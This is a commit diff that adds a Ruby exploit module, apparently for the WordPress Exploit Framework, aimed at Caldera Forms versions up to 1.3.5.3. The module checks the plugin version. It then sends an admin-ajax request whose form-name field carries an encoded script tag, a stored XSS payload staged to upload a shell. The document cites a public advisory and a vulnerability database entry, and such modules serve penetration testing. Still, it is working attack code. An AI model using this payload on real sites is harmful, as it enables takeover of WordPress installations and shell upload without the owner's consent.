Add Caldera Forms <= 1.3.5.3 XSS module

Author: rastating

modules/exploits/caldera_forms_stored_xss_shell_upload.rb

@@ -0,0 +1,36 @@
+class Wpxf::Exploit::CalderaFormsStoredXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::StagedReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Caldera Forms <= 1.3.5.3 Stored XSS Shell Upload',
+      author: [
+        'Jurgen Kloosterman',             # Disclosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8650'],
+        ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_caldera_forms_wordpress_plugin.html']
+      ],
+      date: 'Nov 08 2016'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('caldera-forms', '1.3.5.4')
+  end
+
+  def initial_script
+    create_basic_post_script(
+      wordpress_url_admin_ajax,
+      'before'          => 'serialize_modal_form',
+      'data'            => "name=%3Cscript%3E#{xss_ascii_encoded_include_script}%3C%2Fscript%3E",
+      'template'        => '0',
+      'callback'        => 'new_form_redirect',
+      'modalAutoclose'  => 'new_form',
+      'action'          => 'create_form'
+    )
+  end
+end